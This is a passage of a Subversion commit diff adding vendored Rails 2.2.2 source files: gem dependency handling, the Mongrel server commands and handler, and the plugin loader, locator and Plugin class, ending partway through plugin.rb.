+  def self.source_index=(index)
+    @@source_index = index
+  end
+end
+
+module Rails
+  class GemDependency
+    attr_accessor :lib, :source
+
+    def self.unpacked_path
+      @unpacked_path ||= File.join(RAILS_ROOT, 'vendor', 'gems')
+    end
+
+    @@framework_gems = {}
+
+    def self.add_frozen_gem_path
+      @@paths_loaded ||= begin
+        source_index = Rails::VendorGemSourceIndex.new(Gem.source_index)
+        Gem.clear_paths
+        Gem.source_index = source_index
+        # loaded before us - we can't change them, so mark them
+        Gem.loaded_specs.each do |name, spec|
+          @@framework_gems[name] = spec
+        end
+        true
+      end
+    end
+
+    def framework_gem?
+      @@framework_gems.has_key?(name)
+    end
+
+    def vendor_rails?
+      Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.empty?
+    end
+
+    def vendor_gem?
+      Gem.loaded_specs.has_key?(name) && Gem.loaded_specs[name].loaded_from.include?(self.class.unpacked_path)
+    end
+
+    def initialize(name, options = {})
+      require 'rubygems' unless Object.const_defined?(:Gem)
+
+      if options[:requirement]
+        req = options[:requirement]
+      elsif options[:version]
+        req = Gem::Requirement.create(options[:version])
+      else
+        req = Gem::Requirement.default
+      end
+
+      @dep = Gem::Dependency.new(name, req)
+      @lib      = options[:lib]
+      @source   = options[:source]
+      @loaded   = @frozen = @load_paths_added = false
+    end
+
+    def add_load_paths
+      self.class.add_frozen_gem_path
+      return if @loaded || @load_paths_added
+      if framework_gem?
+        @load_paths_added = @loaded = @frozen = true
+        return
+      end
+      gem @dep
+      @spec = Gem.loaded_specs[name]
+      @frozen = @spec.loaded_from.include?(self.class.unpacked_path) if @spec
+      @load_paths_added = true
+    rescue Gem::LoadError
+    end
+
+    def dependencies
+      return [] if framework_gem?
+      all_dependencies = specification.dependencies.map do |dependency|
+        GemDependency.new(dependency.name, :requirement => dependency.version_requirements)
+      end
+      all_dependencies += all_dependencies.map(&:dependencies).flatten
+      all_dependencies.uniq
+    end
+
+    def gem_dir(base_directory)
+      File.join(base_directory, specification.full_name)
+    end
+
+    def spec_filename(base_directory)
+      File.join(gem_dir(base_directory), '.specification')
+    end
+
+    def load
+      return if @loaded || @load_paths_added == false
+      require(@lib || name) unless @lib == false
+      @loaded = true
+    rescue LoadError
+      puts $!.to_s
+      $!.backtrace.each { |b| puts b }
+    end
+
+    def name
+      @dep.name.to_s
+    end
+
+    def requirement
+      r = @dep.version_requirements
+      (r == Gem::Requirement.default) ? nil : r
+    end
+
+    def frozen?
+      @frozen ||= vendor_rails? || vendor_gem?
+    end
+
+    def loaded?
+      @loaded ||= begin
+        if vendor_rails?
+          true
+        elsif specification.nil?
+          false
+        else
+          # check if the gem is loaded by inspecting $"
+          # specification.files lists all the files contained in the gem
+          gem_files = specification.files
+          # select only the files contained in require_paths - typically in bin and lib
+          require_paths_regexp = Regexp.new("^(#{specification.require_paths*'|'})/")
+          gem_lib_files = gem_files.select { |f| require_paths_regexp.match(f) }
+          # chop the leading directory off - a typical file might be in
+          # lib/gem_name/file_name.rb, but it will be 'require'd as gem_name/file_name.rb
+          gem_lib_files.map! { |f| f.split('/', 2)[1] }
+          # if any of the files from the above list appear in $", the gem is assumed to
+          # have been loaded
+          !(gem_lib_files & $").empty?
+        end
+      end
+    end
+
+    def load_paths_added?
+      # always try to add load paths - even if a gem is loaded, it may not
+      # be a compatible version (ie random_gem 0.4 is loaded and a later spec
+      # needs >= 0.5 - gem 'random_gem' will catch this and error out)
+      @load_paths_added
+    end
+
+    def install
+      cmd = "#{gem_command} #{install_command.join(' ')}"
+      puts cmd
+      puts %x(#{cmd})
+    end
+
+    def unpack_to(directory)
+      FileUtils.mkdir_p directory
+      Dir.chdir directory do
+        Gem::GemRunner.new.run(unpack_command)
+      end
+
+      # Gem.activate changes the spec - get the original
+      real_spec = Gem::Specification.load(specification.loaded_from)
+      write_spec(directory, real_spec)
+
+    end
+
+    def write_spec(directory, spec)
+      # copy the gem's specification into GEMDIR/.specification so that
+      # we can access information about the gem on deployment systems
+      # without having the gem installed
+      File.open(spec_filename(directory), 'w') do |file|
+        file.puts spec.to_yaml
+      end
+    end
+
+    def refresh_spec(directory)
+      real_gems = Gem.source_index.installed_source_index
+      exact_dep = Gem::Dependency.new(name, "= #{specification.version}")
+      matches = real_gems.search(exact_dep)
+      installed_spec = matches.first
+      if File.exist?(File.dirname(spec_filename(directory)))
+        if installed_spec
+          # we have a real copy
+          # get a fresh spec - matches should only have one element
+          # note that there is no reliable method to check that the loaded
+          # spec is the same as the copy from real_gems - Gem.activate changes
+          # some of the fields
+          real_spec = Gem::Specification.load(matches.first.loaded_from)
+          write_spec(directory, real_spec)
+          puts "Reloaded specification for #{name} from installed gems."
+        else
+          # the gem isn't installed locally - write out our current specs
+          write_spec(directory, specification)
+          puts "Gem #{name} not loaded locally - writing out current spec."
+        end
+      else
+        if framework_gem?
+          puts "Gem directory for #{name} not found - check if it's loading before rails."
+        else
+          puts "Something bad is going on - gem directory not found for #{name}."
+        end
+      end
+    end
+
+    def ==(other)
+      self.name == other.name && self.requirement == other.requirement
+    end
+    alias_method :"eql?", :"=="
+
+    def hash
+      @dep.hash
+    end
+
+    def specification
+      # code repeated from Gem.activate. Find a matching spec, or the currently loaded version.
+      # error out if loaded version and requested version are incompatible.
+      @spec ||= begin
+        matches = Gem.source_index.search(@dep)
+        matches << @@framework_gems[name] if framework_gem?
+        if Gem.loaded_specs[name] then
+          # This gem is already loaded.  If the currently loaded gem is not in the
+          # list of candidate gems, then we have a version conflict.
+          existing_spec = Gem.loaded_specs[name]
+          unless matches.any? { |spec| spec.version == existing_spec.version } then
+            raise Gem::Exception,
+                  "can't activate #{@dep}, already activated #{existing_spec.full_name}"
+          end
+          # we're stuck with it, so change to match
+          @dep.version_requirements = Gem::Requirement.create("=#{existing_spec.version}")
+          existing_spec
+        else
+          # new load
+          matches.last
+        end
+      end
+    end
+
+    private
+      def gem_command
+        RUBY_PLATFORM =~ /win32/ ? 'gem.bat' : 'gem'
+      end
+
+      def install_command
+        cmd = %w(install) << name
+        cmd << "--version" << %("#{requirement.to_s}") if requirement
+        cmd << "--source"  << @source  if @source
+        cmd
+      end
+
+      def unpack_command
+        cmd = %w(unpack) << name
+        cmd << "--version" << "= "+specification.version.to_s if requirement
+        cmd
+      end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/mongrel_server/commands.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/mongrel_server/commands.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/mongrel_server/commands.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,342 @@
+# Copyright (c) 2005 Zed A. Shaw
+# You can redistribute it and/or modify it under the same terms as Ruby.
+#
+# Additional work donated by contributors.  See http://mongrel.rubyforge.org/attributions.html
+# for more information.
+
+require 'optparse'
+require 'yaml'
+require 'etc'
+
+require 'mongrel'
+require 'rails/mongrel_server/handler'
+
+module Rails
+  module MongrelServer
+    def self.send_signal(signal, pid_file)
+      pid = open(pid_file).read.to_i
+      print "Sending #{signal} to Mongrel at PID #{pid}..."
+      begin
+        Process.kill(signal, pid)
+      rescue Errno::ESRCH
+        puts "Process does not exist.  Not running."
+      end
+
+      puts "Done."
+    end
+
+    class RailsConfigurator < Mongrel::Configurator
+      def setup_mime_types
+        mime = {}
+
+        if defaults[:mime_map]
+          Mongrel.log("Loading additional MIME types from #{defaults[:mime_map]}")
+          mime = load_mime_map(defaults[:mime_map], mime)
+        end
+
+        mime.each {|k,v| Mongrel::DirHandler::add_mime_type(k,v) }
+      end
+
+      def mount_rails(prefix)
+        ENV['RAILS_ENV'] = defaults[:environment]
+        ::RAILS_ENV.replace(defaults[:environment]) if defined?(::RAILS_ENV)
+
+        env_location = "#{defaults[:cwd]}/config/environment"
+        require env_location
+
+        ActionController::Base.relative_url_root = defaults[:prefix]
+        uri prefix, :handler => Rails::MongrelServer::RailsHandler.new
+      end
+    end
+
+    class Start < GemPlugin::Plugin "/commands"
+      include Mongrel::Command::Base
+
+      def configure
+        options [
+          ["-e", "--environment ENV", "Rails environment to run as", :@environment, ENV['RAILS_ENV'] || "development"],
+          ["-d", "--daemonize", "Run daemonized in the background", :@daemon, false],
+          ['-p', '--port PORT', "Which port to bind to", :@port, 3000],
+          ['-a', '--address ADDR', "Address to bind to", :@address, "0.0.0.0"],
+          ['-l', '--log FILE', "Where to write log messages", :@log_file, "log/mongrel.log"],
+          ['-P', '--pid FILE', "Where to write the PID", :@pid_file, "tmp/pids/mongrel.pid"],
+          ['-n', '--num-procs INT', "Number of processors active before clients denied", :@num_procs, 1024],
+          ['-o', '--timeout TIME', "Time to wait (in seconds) before killing a stalled thread", :@timeout, 60],
+          ['-t', '--throttle TIME', "Time to pause (in hundredths of a second) between accepting clients", :@throttle, 0],
+          ['-m', '--mime PATH', "A YAML file that lists additional MIME types", :@mime_map, nil],
+          ['-c', '--chdir PATH', "Change to dir before starting (will be expanded)", :@cwd, RAILS_ROOT],
+          ['-r', '--root PATH', "Set the document root (default 'public')", :@docroot, "public"],
+          ['-B', '--debug', "Enable debugging mode", :@debug, false],
+          ['-C', '--config PATH', "Use a config file", :@config_file, nil],
+          ['-S', '--script PATH', "Load the given file as an extra config script", :@config_script, nil],
+          ['-G', '--generate PATH', "Generate a config file for use with -C", :@generate, nil],
+          ['', '--user USER', "User to run as", :@user, nil],
+          ['', '--group GROUP', "Group to run as", :@group, nil],
+          ['', '--prefix PATH', "URL prefix for Rails app", :@prefix, nil],
+
+          ['-b', '--binding ADDR', "Address to bind to (deprecated, use -a)", :@address, "0.0.0.0"],
+          ['-u', '--debugger', "Enable debugging mode (deprecated, use -B)", :@debug, false]
+        ]
+      end
+
+      def validate
+        if @config_file
+          valid_exists?(@config_file, "Config file not there: #@config_file")
+          return false unless @valid
+          @config_file = File.expand_path(@config_file)
+          load_config
+          return false unless @valid
+        end
+
+        @cwd = File.expand_path(@cwd)
+        valid_dir? @cwd, "Invalid path to change to during daemon mode: #@cwd"
+
+        # Change there to start, then we'll have to come back after daemonize
+        Dir.chdir(@cwd)
+
+        valid?(@prefix[0] == ?/ && @prefix[-1] != ?/, "Prefix must begin with / and not end in /") if @prefix
+        valid_dir? File.dirname(@log_file), "Path to log file not valid: #@log_file"
+        valid_dir? File.dirname(@pid_file), "Path to pid file not valid: #@pid_file"
+        valid_dir? @docroot, "Path to docroot not valid: #@docroot"
+        valid_exists? @mime_map, "MIME mapping file does not exist: #@mime_map" if @mime_map
+        valid_exists? @config_file, "Config file not there: #@config_file" if @config_file
+        valid_dir? File.dirname(@generate), "Problem accessing directory to #@generate" if @generate
+        valid_user? @user if @user
+        valid_group? @group if @group
+
+        return @valid
+      end
+
+      def run
+        if @generate
+          @generate = File.expand_path(@generate)
+          Mongrel.log(:error, "** Writing config to \"#@generate\".")
+          open(@generate, "w") {|f| f.write(settings.to_yaml) }
+          Mongrel.log(:error, "** Finished.  Run \"mongrel_rails start -C #@generate\" to use the config file.")
+          exit 0
+        end
+
+        config = RailsConfigurator.new(settings) do
+          defaults[:log] = $stdout if defaults[:environment] == 'development'
+
+          Mongrel.log("=> Rails #{Rails.version} application starting on http://#{defaults[:host]}:#{defaults[:port]}")
+
+          unless defaults[:daemon]
+            Mongrel.log("=> Call with -d to detach")
+            Mongrel.log("=> Ctrl-C to shutdown server")
+            start_debugger if defaults[:debug]
+          end
+
+          if defaults[:daemon]
+            if File.exist? defaults[:pid_file]
+              Mongrel.log(:error, "!!! PID file #{defaults[:pid_file]} already exists.  Mongrel could be running already.  Check your #{defaults[:log_file]} for errors.")
+              Mongrel.log(:error, "!!! Exiting with error.  You must stop mongrel and clear the .pid before I'll attempt a start.")
+              exit 1
+            end
+
+            daemonize
+
+            Mongrel.log("Daemonized, any open files are closed.  Look at #{defaults[:pid_file]} and #{defaults[:log_file]} for info.")
+            Mongrel.log("Settings loaded from #{@config_file} (they override command line).") if @config_file
+          end
+
+          Mongrel.log("Starting Mongrel listening at #{defaults[:host]}:#{defaults[:port]}, further information can be found in log/mongrel-#{defaults[:host]}-#{defaults[:port]}.log")
+
+          listener do
+            prefix = defaults[:prefix] || '/'
+
+            if defaults[:debug]
+              Mongrel.log("Installing debugging prefixed filters. Look in log/mongrel_debug for the files.")
+              debug(prefix)
+            end
+
+            setup_mime_types
+            dir_handler = Mongrel::DirHandler.new(defaults[:docroot], false)
+            dir_handler.passthrough_missing_files = true
+
+            unless defaults[:environment] == 'production'
+              Mongrel.log("Mounting DirHandler at #{prefix}...")
+              uri prefix, :handler => dir_handler
+            end
+
+
+            Mongrel.log("Starting Rails with #{defaults[:environment]} environment...")
+            Mongrel.log("Mounting Rails at #{prefix}...")
+            mount_rails(prefix)
+            Mongrel.log("Rails loaded.")
+
+
+            Mongrel.log("Loading any Rails specific GemPlugins" )
+            load_plugins
+
+            if defaults[:config_script]
+              Mongrel.log("Loading #{defaults[:config_script]} external config script")
+              run_config(defaults[:config_script])
+            end
+
+            setup_signals
+          end
+        end
+
+        config.run
+        Mongrel.log("Mongrel #{Mongrel::Const::MONGREL_VERSION} available at #{@address}:#{@port}")
+
+        if config.defaults[:daemon]
+          config.write_pid_file
+        else
+          Mongrel.log("Use CTRL-C to stop.")
+          tail "log/#{config.defaults[:environment]}.log"
+        end
+
+        config.join
+
+        if config.needs_restart
+          unless RUBY_PLATFORM =~ /djgpp|(cyg|ms|bcc)win|mingw/
+            cmd = "ruby #{__FILE__} start #{original_args.join(' ')}"
+            Mongrel.log("Restarting with arguments:  #{cmd}")
+            config.stop(false, true)
+            config.remove_pid_file
+
+            if config.defaults[:daemon]
+              system cmd
+            else
+              Mongrel.log(:error, "Can't restart unless in daemon mode.")
+              exit 1
+            end
+          else
+            Mongrel.log("Win32 does not support restarts. Exiting.")
+          end
+        end
+      end
+
+      def load_config
+        settings = {}
+        begin
+          settings = YAML.load_file(@config_file)
+        ensure
+          Mongrel.log(:error, "** Loading settings from #{@config_file} (they override command line).") unless @daemon || settings[:daemon]
+        end
+
+        settings[:includes] ||= ["mongrel"]
+
+        # Config file settings will override command line settings
+        settings.each do |key, value|
+          key = key.to_s
+          if config_keys.include?(key)
+            key = 'address' if key == 'host'
+            self.instance_variable_set("@#{key}", value)
+          else
+            failure "Unknown configuration setting: #{key}"
+            @valid = false
+          end
+        end
+      end
+
+      def config_keys
+        @config_keys ||=
+          %w(address host port cwd log_file pid_file environment docroot mime_map daemon debug includes config_script num_processors timeout throttle user group prefix)
+      end
+
+      def settings
+        config_keys.inject({}) do |hash, key|
+          value = self.instance_variable_get("@#{key}")
+          key = 'host' if key == 'address'
+          hash[key.to_sym] ||= value
+          hash
+        end
+      end
+
+      def start_debugger
+        require_library_or_gem 'ruby-debug'
+        Debugger.start
+        Debugger.settings[:autoeval] = true if Debugger.respond_to?(:settings)
+        Mongrel.log("=> Debugger enabled")
+      rescue Exception
+        Mongrel.log(:error, "You need to install ruby-debug to run the server in debugging mode. With gems, use 'gem install ruby-debug'")
+        exit
+      end
+
+      def tail(log_file)
+        cursor = File.size(log_file)
+        last_checked = Time.now
+        tail_thread = Thread.new do
+          File.open(log_file, 'r') do |f|
+            loop do
+              f.seek cursor
+              if f.mtime > last_checked
+                last_checked = f.mtime
+                contents = f.read
+                cursor += contents.length
+                print contents
+              end
+              sleep 1
+            end
+          end
+        end
+        tail_thread
+      end
+    end
+
+    class Stop < GemPlugin::Plugin "/commands"
+      include Mongrel::Command::Base
+
+      def configure
+        options [
+          ['-c', '--chdir PATH', "Change to dir before starting (will be expanded).", :@cwd, "."],
+          ['-f', '--force', "Force the shutdown (kill -9).", :@force, false],
+          ['-w', '--wait SECONDS', "Wait SECONDS before forcing shutdown", :@wait, "0"],
+          ['-P', '--pid FILE', "Where the PID file is located.", :@pid_file, "log/mongrel.pid"]
+        ]
+      end
+
+      def validate
+        @cwd = File.expand_path(@cwd)
+        valid_dir? @cwd, "Invalid path to change to during daemon mode: #@cwd"
+
+        Dir.chdir @cwd
+
+        valid_exists? @pid_file, "PID file #@pid_file does not exist.  Not running?"
+        return @valid
+      end
+
+      def run
+        if @force
+          @wait.to_i.times do |waiting|
+            exit(0) if not File.exist? @pid_file
+            sleep 1
+          end
+
+          Mongrel::send_signal("KILL", @pid_file) if File.exist? @pid_file
+        else
+          Mongrel::send_signal("TERM", @pid_file)
+        end
+      end
+    end
+
+
+    class Restart < GemPlugin::Plugin "/commands"
+      include Mongrel::Command::Base
+
+      def configure
+        options [
+          ['-c', '--chdir PATH', "Change to dir before starting (will be expanded)", :@cwd, '.'],
+          ['-P', '--pid FILE', "Where the PID file is located", :@pid_file, "log/mongrel.pid"]
+        ]
+      end
+
+      def validate
+        @cwd = File.expand_path(@cwd)
+        valid_dir? @cwd, "Invalid path to change to during daemon mode: #@cwd"
+
+        Dir.chdir @cwd
+
+        valid_exists? @pid_file, "PID file #@pid_file does not exist.  Not running?"
+        return @valid
+      end
+
+      def run
+        MongrelServer::send_signal("USR2", @pid_file)
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/mongrel_server/handler.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/mongrel_server/handler.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/mongrel_server/handler.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,55 @@
+# Copyright (c) 2005 Zed A. Shaw
+# You can redistribute it and/or modify it under the same terms as Ruby.
+#
+# Additional work donated by contributors.  See http://mongrel.rubyforge.org/attributions.html
+# for more information.
+
+require 'mongrel'
+require 'cgi'
+require 'action_controller/dispatcher'
+
+
+module Rails
+  module MongrelServer
+    # Implements a handler that can run Rails and serve files out of the
+    # Rails application's public directory.  This lets you run your Rails
+    # application with Mongrel during development and testing, then use it
+    # also in production behind a server that's better at serving the
+    # static files.
+    #
+    # The RailsHandler takes a mime_map parameter which is a simple suffix=mimetype
+    # mapping that it should add to the list of valid mime types.
+    #
+    # It also supports page caching directly and will try to resolve a request
+    # in the following order:
+    #
+    # * If the requested exact PATH_INFO exists as a file then serve it.
+    # * If it exists at PATH_INFO+".html" exists then serve that.
+    # * Finally, construct a Mongrel::CGIWrapper and run Dispatcher.dispatch to have Rails go.
+    #
+    # This means that if you are using page caching it will actually work with Mongrel
+    # and you should see a decent speed boost (but not as fast as if you use a static
+    # server like Apache or Litespeed).
+    class RailsHandler < Mongrel::HttpHandler
+      # Construct a Mongrel::CGIWrapper and dispatch.
+      def process(request, response)
+        return if response.socket.closed?
+
+        cgi = Mongrel::CGIWrapper.new(request, response)
+        cgi.handler = self
+        # We don't want the output to be really final until we're out of the lock
+        cgi.default_really_final = false
+
+        ActionController::Dispatcher.dispatch(cgi, ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS, response.body)
+
+        # This finalizes the output using the proper HttpResponse way
+        cgi.out("text/html",true) {""}
+      rescue Errno::EPIPE
+        response.socket.close
+      rescue Object => rails_error
+        STDERR.puts "#{Time.now.httpdate}: Error dispatching #{rails_error.inspect}"
+        STDERR.puts rails_error.backtrace.join("\n")
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/plugin/loader.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/plugin/loader.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/plugin/loader.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,152 @@
+require "rails/plugin"
+
+module Rails
+  class Plugin
+    class Loader
+      attr_reader :initializer
+
+      # Creates a new Plugin::Loader instance, associated with the given
+      # Rails::Initializer. This default implementation automatically locates
+      # all plugins, and adds all plugin load paths, when it is created. The plugins
+      # are then fully loaded (init.rb is evaluated) when load_plugins is called.
+      #
+      # It is the loader's responsibility to ensure that only the plugins specified
+      # in the configuration are actually loaded, and that the order defined
+      # is respected.
+      def initialize(initializer)
+        @initializer = initializer
+      end
+      
+      # Returns the plugins to be loaded, in the order they should be loaded.
+      def plugins
+        @plugins ||= all_plugins.select { |plugin| should_load?(plugin) }.sort { |p1, p2| order_plugins(p1, p2) }
+      end
+
+      # Returns all the plugins that could be found by the current locators.
+      def all_plugins
+        @all_plugins ||= locate_plugins
+        @all_plugins
+      end
+    
+      def load_plugins
+        plugins.each do |plugin| 
+          plugin.load(initializer)
+          register_plugin_as_loaded(plugin)
+        end
+        ensure_all_registered_plugins_are_loaded!
+      end
+      
+      # Adds the load paths for every plugin into the $LOAD_PATH. Plugin load paths are
+      # added *after* the application's <tt>lib</tt> directory, to ensure that an application
+      # can always override code within a plugin.
+      #
+      # Plugin load paths are also added to Dependencies.load_paths, and Dependencies.load_once_paths.  
+      def add_plugin_load_paths
+        plugins.each do |plugin|
+          plugin.load_paths.each do |path|
+            $LOAD_PATH.insert(application_lib_index + 1, path)
+            ActiveSupport::Dependencies.load_paths      << path
+            unless Rails.configuration.reload_plugins?
+              ActiveSupport::Dependencies.load_once_paths << path
+            end
+          end
+        end
+        $LOAD_PATH.uniq!
+      end      
+      
+      protected
+      
+        # The locate_plugins method uses each class in config.plugin_locators to
+        # find the set of all plugins available to this Rails application.
+        def locate_plugins
+          configuration.plugin_locators.map { |locator|
+            locator.new(initializer).plugins
+          }.flatten
+          # TODO: sorting based on config.plugins
+        end
+
+        def register_plugin_as_loaded(plugin)
+          initializer.loaded_plugins << plugin
+        end
+
+        def configuration
+          initializer.configuration
+        end
+        
+        def should_load?(plugin)
+          # uses Plugin#name and Plugin#valid?
+          enabled?(plugin) && plugin.valid?
+        end
+
+        def order_plugins(plugin_a, plugin_b)
+          if !explicit_plugin_loading_order?
+            plugin_a <=> plugin_b
+          else
+            if !explicitly_enabled?(plugin_a) && !explicitly_enabled?(plugin_b)
+              plugin_a <=> plugin_b
+            else
+              effective_order_of(plugin_a) <=> effective_order_of(plugin_b)
+            end            
+          end
+        end
+        
+        def effective_order_of(plugin)
+          if explicitly_enabled?(plugin)
+            registered_plugin_names.index(plugin.name) 
+          else
+            registered_plugin_names.index('all')
+          end        
+        end
+
+        def application_lib_index
+          $LOAD_PATH.index(File.join(RAILS_ROOT, 'lib')) || 0
+        end      
+
+        def enabled?(plugin)
+          !explicit_plugin_loading_order? || registered?(plugin)
+        end
+
+        def explicit_plugin_loading_order?
+          !registered_plugin_names.nil?
+        end
+
+        def registered?(plugin)
+          explicit_plugin_loading_order? && registered_plugins_names_plugin?(plugin)
+        end
+
+        def explicitly_enabled?(plugin)
+          !explicit_plugin_loading_order? || explicitly_registered?(plugin)
+        end
+
+        def explicitly_registered?(plugin)
+          explicit_plugin_loading_order? && registered_plugin_names.include?(plugin.name)
+        end
+      
+        def registered_plugins_names_plugin?(plugin)
+          registered_plugin_names.include?(plugin.name) || registered_plugin_names.include?('all')
+        end
+        
+        # The plugins that have been explicitly listed with config.plugins. If this list is nil
+        # then it means the client does not care which plugins or in what order they are loaded, 
+        # so we load all in alphabetical order. If it is an empty array, we load no plugins, if it is
+        # non empty, we load the named plugins in the order specified.
+        def registered_plugin_names
+          configuration.plugins ? configuration.plugins.map(&:to_s) : nil
+        end
+        
+        def loaded?(plugin_name)
+          initializer.loaded_plugins.detect { |plugin| plugin.name == plugin_name.to_s }
+        end
+        
+        def ensure_all_registered_plugins_are_loaded!
+          if explicit_plugin_loading_order?
+            if configuration.plugins.detect {|plugin| plugin != :all && !loaded?(plugin) }
+              missing_plugins = configuration.plugins - (plugins + [:all])
+              raise LoadError, "Could not locate the following plugins: #{missing_plugins.to_sentence}"
+            end
+          end
+        end
+  
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/plugin/locator.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/plugin/locator.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/plugin/locator.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,100 @@
+module Rails
+  class Plugin
+    
+    # The Plugin::Locator class should be subclasses to provide custom plugin-finding
+    # abilities to Rails (i.e. loading plugins from Gems, etc). Each subclass should implement
+    # the <tt>located_plugins</tt> method, which return an array of Plugin objects that have been found.
+    class Locator
+      include Enumerable
+      
+      attr_reader :initializer
+      
+      def initialize(initializer)
+        @initializer = initializer
+      end
+      
+      # This method should return all the plugins which this Plugin::Locator can find
+      # These will then be used by the current Plugin::Loader, which is responsible for actually
+      # loading the plugins themselves
+      def plugins
+        raise "The `plugins' method must be defined by concrete subclasses of #{self.class}"
+      end
+      
+      def each(&block)
+        plugins.each(&block)
+      end
+      
+      def plugin_names
+        plugins.map(&:name)
+      end
+    end
+    
+    # The Rails::Plugin::FileSystemLocator will try to locate plugins by examining the directories
+    # the the paths given in configuration.plugin_paths. Any plugins that can be found are returned
+    # in a list. 
+    #
+    # The criteria for a valid plugin in this case is found in Rails::Plugin#valid?, although
+    # other subclasses of Rails::Plugin::Locator can of course use different conditions.
+    class FileSystemLocator < Locator
+      
+      # Returns all the plugins which can be loaded in the filesystem, under the paths given
+      # by configuration.plugin_paths.
+      def plugins
+        initializer.configuration.plugin_paths.flatten.inject([]) do |plugins, path|
+          plugins.concat locate_plugins_under(path)
+          plugins
+        end.flatten
+      end
+          
+      private
+      
+        # Attempts to create a plugin from the given path. If the created plugin is valid?
+        # (see Rails::Plugin#valid?) then the plugin instance is returned; otherwise nil.
+        def create_plugin(path)
+          plugin = Rails::Plugin.new(path)
+          plugin.valid? ? plugin : nil
+        end
+
+        # This starts at the base path looking for valid plugins (see Rails::Plugin#valid?).
+        # Since plugins can be nested arbitrarily deep within an unspecified number of intermediary 
+        # directories, this method runs recursively until it finds a plugin directory, e.g.
+        #
+        #     locate_plugins_under('vendor/plugins/acts/acts_as_chunky_bacon')
+        #     => <Rails::Plugin name: 'acts_as_chunky_bacon' ... >
+        #
+        def locate_plugins_under(base_path)
+           Dir.glob(File.join(base_path, '*')).sort.inject([]) do |plugins, path|
+            if plugin = create_plugin(path)
+              plugins << plugin
+            elsif File.directory?(path)
+              plugins.concat locate_plugins_under(path)
+            end
+            plugins
+          end
+        end
+    end
+
+    # The GemLocator scans all the loaded RubyGems, looking for gems with
+    # a <tt>rails/init.rb</tt> file.
+    class GemLocator < Locator
+      def plugins
+        gem_index = initializer.configuration.gems.inject({}) { |memo, gem| memo.update gem.specification => gem }
+        specs     = gem_index.keys
+        specs    += Gem.loaded_specs.values.select do |spec|
+          spec.loaded_from && # prune stubs
+            File.exist?(File.join(spec.full_gem_path, "rails", "init.rb"))
+        end
+        specs.compact!
+
+        require "rubygems/dependency_list"
+
+        deps = Gem::DependencyList.new
+        deps.add(*specs) unless specs.empty?
+
+        deps.dependency_order.collect do |spec|
+          Rails::GemPlugin.new(spec, gem_index[spec])
+        end
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/plugin.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/plugin.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/lib/rails/plugin.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,124 @@
+module Rails
+  # The Plugin class should be an object which provides the following methods:
+  #
+  # * +name+       - Used during initialisation to order the plugin (based on name and
+  #                  the contents of <tt>config.plugins</tt>).
+  # * +valid?+     - Returns true if this plugin can be loaded.
+  # * +load_paths+ - Each path within the returned array will be added to the <tt>$LOAD_PATH</tt>.
+  # * +load+       - Finally 'load' the plugin.
+  #
+  # These methods are expected by the Rails::Plugin::Locator and Rails::Plugin::Loader classes.
+  # The default implementation returns the <tt>lib</tt> directory as its <tt>load_paths</tt>, 
+  # and evaluates <tt>init.rb</tt> when <tt>load</tt> is called.
+  #
+  # You can also inspect the about.yml data programmatically:
+  #
+  #   plugin = Rails::Plugin.new(path_to_my_plugin)
+  #   plugin.about["author"] # => "James Adam"
+  #   plugin.about["url"] # => "http://interblah.net"
+  class Plugin
+    include Comparable
+    
+    attr_reader :directory, :name
+    
+    def initialize(directory)
+      @directory = directory
+      @name      = File.basename(@directory) rescue nil
+      @loaded    = false
+    end
+    
+    def valid?
+      File.directory?(directory) && (has_lib_directory? || has_init_file?)
+    end
+  
+    # Returns a list of paths this plugin wishes to make available in <tt>$LOAD_PATH</tt>.
+    def load_paths
+      report_nonexistant_or_empty_plugin! unless valid?
+      has_lib_directory? ? [lib_path] : []
+    end
+
+    # Evaluates a plugin's init.rb file.
+    def load(initializer)
+      return if loaded?
+      report_nonexistant_or_empty_plugin! unless valid?
+      evaluate_init_rb(initializer)
+      @loaded = true
+    end
+    
+    def loaded?
+      @loaded
+    end
+    
+    def <=>(other_plugin)
+      name <=> other_plugin.name
+    end
+
+    def about
+      @about ||= load_about_information
+    end
+    
+    private
+      def load_about_information
+        about_yml_path = File.join(@directory, "about.yml")
+        parsed_yml = File.exist?(about_yml_path) ? YAML.load(File.read(about_yml_path)) : {}
+        parsed_yml || {}
+      rescue Exception
+        {}
+      end
+
+      def report_nonexistant_or_empty_plugin!
+        raise LoadError, "Can not find the plugin named: #{name}"
+      end      
+    
+      def lib_path
+        File.join(directory, 'lib')
+      end
+
